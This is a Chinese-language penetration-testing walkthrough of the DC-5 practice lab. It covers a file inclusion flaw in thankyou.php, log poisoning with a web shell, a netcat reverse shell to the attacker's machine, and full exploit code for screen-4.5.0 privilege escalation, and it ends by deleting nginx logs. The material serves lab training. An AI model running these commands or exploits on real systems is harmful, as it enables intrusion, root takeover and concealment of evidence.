DC-5渗透测试教程详解
测试机和靶机准备
有需要自取,注意调整DC-5的与kali在同一个为NAT模式下
-
[测试机kali]
-
[靶机DC-5]
-
信息收集
kali的IP地址为 192.168.10.140
- kali
- dc-5
使用nmap进行扫描
- 打开浏览器登录 192.168.10.134进行访问,确定其是否为目标主机
漏洞分析
寻找漏洞
- 在contact界面提交信息后,发现底部的时间显示会变动,
- 所以猜测可能存在漏洞。底部的年份显示独立存在的数据,
- 可能存在于某个文件中,传递给了thankyou.php。
验证猜想,使用御剑对其扫描
-
发现有可以文件 footer.php
-
对其进行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好】是底部的年份信息
-
猜想是否行访问,kali火狐,输入链接:192.168.10.136/footer.php,该文件内容恰好是底部的年份
有可能是通过链接传入的!
验证猜想,构造连接
- 验证想法,构造链接,访问对比,192.168.10.136/thankyou.php?file=footer.php
-
192.168.10.139/thankyou.php?file=
-
如果参数值换成/etc/passwd,那么在底部就会显示DC5的用户信息
-
如果参数值换成nginx日志文件的目录/var/log/nginx/error.log,那么在底部就会显示nginx的日志文件信息。
渗透测试
文件包含漏洞:通过日志挂马的方式,想办法将一句话木马写入到靶机的日志文件中
上传分析
使用Burp suite抓包,上传
- 验证 http://192.168.10.134/thankyou.php?file=/var/log/nginx/error.log ,查看日志是否上传成功
使用蚁剑连接
- 测试连接
- 输入命令 ——发现没有权限
建立反向连接
- kali建立反向连接
- 在kali上开启监听,终端输入命令nc –lvvp 1234
- 蚁剑中执行命令 nc -e /bin/bash 192.168.10.140 1234 。
- 在蚁剑中执行的命令不要复制,要手动输入。 192.168.10.140是kali的地址。
后渗透测试
查看提权文件
-
在kali上输入python -c ‘import pty;pty.spawn(“/bin/bash”)’
-
找到具有SUID的文件,文件,用来提权。find / -perm -u=s -type f 2>/dev/null
查找EXP, 重新打开一个终端,在kali中通过命令searchsploit查看screen-4.5.0的漏洞。
创建脚本
-
复制的脚本没办法直接执行,所以需要将其拆分为多个文件处理。
-
在kali的root文件夹下新建文件,命名为libhax.c。
-
将41154.sh脚本中的第一部分内容复制到libhax.c文件 。
-
将脚本中选中内容复制到libhax.c文件中。
-
在libhax.c文件中添加所选中的语句
-
libhax.c的内容:(第一个文件内容)
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
- 将libhax.c文件ctrl s保存,然后打开终端窗口,在终端窗口里执行命令
- 用来生成动态库文件libhax.so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
- 在kali的root文件夹下新建文件命名为rootshell.c,用来处理脚本中的第二部分内容
- 将41154.sh脚本中的选中部分,复制到rootshell.c文件中
- 在rootshell.c文件中,第二行添加语句#include<unistd.h>,在文件的倒数第二行,删掉一个多余的NULL .
- rootshell.c的文件内容:(第二个文件内容)
#include <stdio.h>
#include <unistd.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh",NULL);
}
- 保存并退出rootshell.c文件,在kali的终端窗口中,输入命令gcc rootshell.c –o rootshell,用来生成一个可以执行的二进制文件.
gcc -o rootshell rootshell.c
- 将41154.sh脚本中的最后一部分内容,复制到dc5.sh文件中
- dc5.sh文件内容:(最后一个文件内容):
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
- 在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车
- 在kali中复制刚刚制作好的三个文件,到Windows中的任意位置。
使用蚁剑上传文件提权
-
打开蚁剑,找到/tmp目录,右键上传文件
-
-
给dc5.sh文件添加可执行权限
chmod +x dc5.sh
- 执行脚本 ./dc5.sh
拿到flag
清理痕迹
- 删除上传的三个提权文件
- 删除/var/log/nginx/error.log的日志文件
渗透测试报告
- 使用报告文档交流在渗透测试过程踪做了哪些,如何做,以及最为重要的—客户如何修复你发现的安全漏洞与弱点。